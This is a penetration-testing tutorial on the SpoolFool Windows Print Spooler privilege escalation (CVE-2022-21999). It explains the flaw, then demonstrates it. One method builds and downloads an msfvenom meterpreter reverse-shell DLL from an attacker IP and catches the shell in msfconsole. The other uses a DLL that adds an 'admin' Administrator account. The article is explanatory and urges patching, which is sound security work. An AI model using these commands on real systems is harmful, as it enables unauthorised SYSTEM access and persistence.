Windows Privilege Escalation: SpoolFool
Introduction
Oliver Lyak posted a write-up about a Windows Privilege Escalation vulnerability that persisted in Windows systems even after patching of previous vulnerabilities in Print Spooler CVE-2020-1048 and CVE-2020-1337. Oliver was assigned CVE-2022-21999 for this vulnerability and commonly named it “SpoolFool.” In this article, we will discuss the technical details associated with the same and demonstrate two methods through which an attacker can leverage and gain escalated privileges as NT AUTHORITY\SYSTEM.
Related advisories: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21999
Related CVEs: CVE-2022-21999, CVE-2020-1030, CVE-2020-1337, CVE-2020-1048
Summary of the Vulnerability
The vulnerability allows an unprivileged user to create arbitrary and writeable directories by configuring the SpoolDirectory attribute on a printer. Since an unprivileged user is allowed to add remote printers, an attacker can create a remote printer and grant EVERYONE the right to manage this printer. This would return a handle with PRINTER_ACCESS_ADMINISTER right which can be further used to perform tasks such as DLL injection.
Print Spooler Basics
Print spooler is the primary printing process interface. It is a built-in EXE file that is loaded at system startup itself. The workflow of a printing process is as follows:
Application: The print application creates a print job by calling Graphics Device Interface (GDI).
GDI: GDI includes both user-mode and kernel-mode components for graphics support.
winspool.drv is the interface that talks to the spooler. It provides the RPC stubs required to access the server.
spoolsv.exe is the spooler’s API server. This module implements message routing to print provider with the help of router (spoolss.dll)
spoolss.dll determines which print provider to call, based on a printer name and passes function call to the correct provider.
Spool Directory
When a user prints a document, a print job is spooled to a predefined location referred to as the spool directory. The default location is C:\Windows\System32\spool\PRINTERS. This directory is by default writeable by everyone as everyone uses the printer (FILE_ADD_FILE permission. Read more here), and the Spool Directory is configurable on each printer.
Workflow of the CVE 2020-1030
I would highly recommend reading Victor Mata’s post here before trying to demonstrate the vulnerability yourself. But for people who don’t like to get into too much technicality, here is a summary of how the vulnerability shall be exploited.
- By default, users can add printers without administrator authentication needed.
- Calling AddPrinter returns a printer handle (I recommend reading what handles are if you have less idea of development) with the PRINTER_ALL_ACCESS right. This grants printing rights to standard and administrative print operations.
- However, the caller of the AddPrinter function must have SERVER_ACCESS_ADMINISTER right to the server on which the printer is to be created.
- An unprivileged user will not have these rights and hence, can’t add a new printer with PRINTER_ALL_ACCESS right.
- However, the “INTERACTIVE” group has the manage server permissions enabled which correspond to
- Thus, members in the interactive group can add a printer with SERVER_ACCESS_ADMINISTER
- INTERACTIVE GROUP: SID S-1-5-4 NT Authority\Interactive is a system group that gets automatically added when a user logs on to the system locally or via RDP. Removing this group would mean restricting logging access in older systems, however, in newer Windows, it gets re-added on restart. In short, it symbolizes an actual physical user that is interacting with the machine. This group is absent on Active Directory systems as permissions are only managed by DC in such environments.
- Therefore, the attack was not found to be working with service accounts (like IIS or MSSQL$)
- If the user who runs the exploit is a member of INTERACTIVE, then AddPrinter now will return a handle with PRINTER_ALL_ACCESS We will use this handle’s permission to modify the spool directory. In C#, SetPrinterDataEx function can modify spool directory. Here, we are creating a directory C:\Windows\System32\spool\drivers\x64\4
To create this spool, we have the necessary rights PRINTER_ALL_ACCESS (returned to the handle hPrinter)
As you can see the intended directory in the pszData variable doesn’t exist already.
- Re-initialize the print spooler service by calling AppVTerminator.dll
- Spool Directory C:\Windows\System32\spool\drivers\x64 created with write permissions to EVERYONE.
- A malicious DLL is created and loaded in that directory. It gets validated and CopyFiles\\ will trigger that DLL and load it into the printer process (spoolsv.exe)
Diagramatic Workflow of CVE 2020-1030
It could be understood in simpler terms like this:
Incoming CVE 2022-21999
After the issue was patched by Microsoft, Oliver Lyak in his post here mentions Microsoft’s patches and how he circumvented them. Thus, he proposed the following two enhancements for this vulnerability patch and was assigned CVE 2022-21999:
- He states that a user not in the INTERACTIVE group can still add a remote printer and gain PRINTER_ACCESS_ADMINISTER rights.
“If a user adds a remote printer, the printer will inherit the security properties of the shared printer from the printer server. As such, if the remote printer server allows EVERYONE to manage the printer, then it’s possible to obtain a handle to the printer with the PRINTER_ACCESS_ADMINISTER access right, and SetPrinterDataEx would update the local registry as usual”
- Microsoft added directory creation/access validation on the user level to restrict the creation of spool directories. So, in his exploit, he used reparse Basically, the following things happen:
- We create a temporary directory (C:\TEMP\xyzxyzxyz) and set it as SpoolDirectory
- The validation set by Microsoft gets passed and SpoolDirectory is set to this temporary directory.
- Configure this temporary directory as a reparse point which points to C: \Windows\System32\spool\drivers\x64\
- SetPrinterDataEx is called with CopyFiles and DLL in this directory gets automatically loaded into the process spoolsv.exe
Why only C:\Windows\System32\spool\drivers\x64 ? => This is the printer driver directory. Point and Print is a printer sharing technology designed for driver distribution. In Point and Print, installation is extendable with a custom Point and Print DLL.
When CopyFiles\\ is used with SetPrinterDataEx, it initiates a sequence of Point and Print. If the directory specified is a Printer Driver Directory, Point and Print is triggered and the DLL placed in this is loaded to the existing process spoolsv.exe
Demonstration – Method 1
For the demonstration, we will use the original PoC created by Oliver Lyak which could be downloaded from here.
git clone https://github.com/ly4k/SpoolFool cd SpoolFool ls
As you may observe, the PoC comes with an EXE file and a pre-made DLL payload.
First, we compromise the system and gain a reverse shell. As you can see, a user hex has been compromised and NT AUTHORITY\INTERACTIVE exists on the system. If hex has a local account (not applicable on domain accounts), he is by default a member of this group.
whoami /user /groups
Now, we shall create our own custom DLL first using msfvenom. I’m using a meterpreter injection as payload but the choices are numerous.
msfvenom -p windows/x64/meterpreter/reverse_tcp -ax64 -f dll LHOST=192.168.0.20 LPORT=9501 > reverse_64bit.dll
We just need to upload this on our victim machine. I recommend C:\Users\Public. You can start a python server and host SpoolFool.exe and reverse_64bit.dll files in the same location. This can be done using powershell module IWR
powershell -c iwr http://192.168.0.20/reverse_64bit.dll -outf \Users\Public\reverse.dll powershell -c iwr http://192.168.0.20/SpoolFool.exe -outf \Users\Public\SpoolFool.exe
Now, we can run the exploit and load this DLL with the following command. Before running it, make sure to set up multi/handler in msfconsole.
SpoolFool.exe -dll reverse.dll
Observe here, how a directory has been made in %temp%\d5f5….{random name} and a reparse point has been created to write into our desired print driver directory C:\Windows\system32\spool\DRIVERS\x64\4
The directory didn’t exist before, but now you can see, it exists and the DLL has been saved in here. Which means success! The directory is also writable by everyone.
Anyhow, the DLL is now loaded and we have received a reverse shell!
msfconsole use multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.0.20 set LPORT 9501 run
We can check the current user’s permissions and as you can see, privileges have been escalated!
Demonstration – Method 2
Author has already created a DLL called AddUser.dll in the project directory that would allow us to add a new user called “admin” with Administrator privileges and the default password “Passw0rd!”
Let’s compromise our victim again and see his own membership.
whoami net user hex
Hex user doesn’t have administrator access. Now, we run the SpoolFool.exe exploit again but include this DLL this time.
SpoolFool.exe -dll Adduser.dll
Now, upon checking users, we can see an admin user has been added who is a part of Administrators!
net user net user admin
We can use these credentials to do a number of things now! Login using psexec, login via RDP etc. I tried a simple smbclient shell to check the validity of the credentials and as you can see, privileges have been escalated and we can interact with the victim as admin now!
Patch Status
As per the author: A quick check with Process Monitor reveals that the Spool Directory is no longer created when the Spooler initializes. If the directory does not exist, the Print Spooler falls back to the default spool directory.
Conclusion
Windows privilege escalation has always been tricky from a pentester’s point of view. Print Spool exploits have tried and made that statement a myth. The arbitrary file writing vulnerability as been marked as SEVERE by the Microsoft MSRC bulletin because of how easy it is to exploit and escalate privileges. Through this article, we mean to spread awareness to analysts and encourage them to timely update their patches. Hope you liked the article. Thanks for reading. Do connect with me on LinkedIn in case of any queries.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here